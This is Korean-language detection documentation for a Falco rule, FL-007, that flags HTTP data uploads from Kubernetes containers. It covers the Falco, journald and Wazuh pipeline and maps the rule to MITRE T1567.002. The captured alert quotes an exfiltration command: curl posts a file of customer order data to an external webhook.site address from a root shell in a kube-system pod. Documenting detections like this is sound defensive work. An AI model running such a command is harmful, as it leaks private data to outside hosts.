FL-007 Falco HTTP Data Upload
공격 행위 요약
FL-007은 공격자가 내부 RDS에서 조회한 고객 데이터를 파일로 저장한 뒤, 컨테이너 내부에서 curl을 실행해 외부 HTTPS 수신지로 업로드한 행위를 설명하는 Falco 런타임 로그이다.
공격자는 MySQL 조회 결과를 /tmp/customer_orders.txt 파일로 저장하고, curl -X POST --data-binary 명령으로 해당 파일을 webhook.site 주소에 전송했다.
Falco에서 cmd, parent_cmd, pod, ns, container_id가 함께 확인되므로, 해당 데이터 업로드 행위가 kube-system 네임스페이스의 pwned-pod-final 컨테이너 실행 환경에서 발생했음을 판단할 수 있다.
로그 발생 위치
| 구분 | 위치 | 설명 |
| K8s Node | Falco | HTTP 업로드 명령 실행 이벤트 탐지 |
| journald | falco-modern-bpf.service | Falco 탐지 로그 저장 |
| Wazuh | Wazuh Dashboard | 수집된 Falco alert 확인 |
수집 방식
| 구분 | 방식 |
| Falco 탐지 기준 | curl을 이용한 외부 HTTP/HTTPS 업로드 명령 실행 여부 확인 |
| Falco 탐지 메시지 | 조건 매칭 시 [FL-007] HTTP Data Upload 로그 생성 |
| Linux syscall | execve, execveat 이벤트가 Falco에 전달 |
| journald | Falco 이벤트가 falco-modern-bpf.service 로그에 저장 |
| Wazuh agent | K8s node에서 journald 로그 수집 |
| Wazuh manager | 수집된 Falco 로그를 FL-007 룰과 매칭 |
| Wazuh Dashboard | [FL-007] HTTP Data Upload 이벤트로 표시 |
로그 출력 명령어
sudo journalctl -u falco-modern-bpf.service --no-pager | grep -E "\[FL-007\] HTTP Data Upload"
실제 관측 로그
May 27 10:38:08 ip-10-0-133-48 falco[531]:
10:38:08.768787987: Critical [FL-007] HTTP Data Upload
(
technique=T1567.002
cmd="curl -X POST --data-binary @/tmp/customer_orders.txt https://webhook.site/1607b201-4617-4cd9-aaeb-97baa2da222a"
parent_cmd="bash -i"
user=root
pod=pwned-pod-final
ns=kube-system
container_id=d501b505262b
)
container_id=d501b505262b
container_name=pwned
container_image_repository=docker.io/library/node
container_image_tag=20
k8s_pod_name=pwned-pod-final
k8s_ns_name=kube-system
주요 필드
| 필드 | 의미 | 예시 |
cmd | 실행된 외부 업로드 명령 | curl -X POST --data-binary @/tmp/customer_orders.txt ... |
pod | 명령이 실행된 Pod | pwned-pod-final |
ns | Pod 네임스페이스 | kube-system |
container_id | 명령이 실행된 컨테이너 ID | d501b505262b |
커버 대상 Techniques Used
| Primary Log | Technique | Mapping Reason |
| FL-007 | T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | curl을 이용해 내부 DB 조회 결과 파일을 외부 webhook 수신지로 업로드한 행위를 설명한다. |
탐지 포인트
| Technique | 관찰 행위 | 주요 필드 |
| T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | 컨테이너 내부에서 curl 명령이 실행되었는지 확인한다. | cmd |
| T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | --data-binary 옵션으로 로컬 파일 업로드가 수행되었는지 확인한다. | cmd |
| T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | 업로드 대상이 외부 webhook 수신지인지 확인한다. | cmd |
| T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | 해당 명령이 pwned-pod-final 컨테이너에서 실행되었는지 확인한다. | pod, ns, container_id |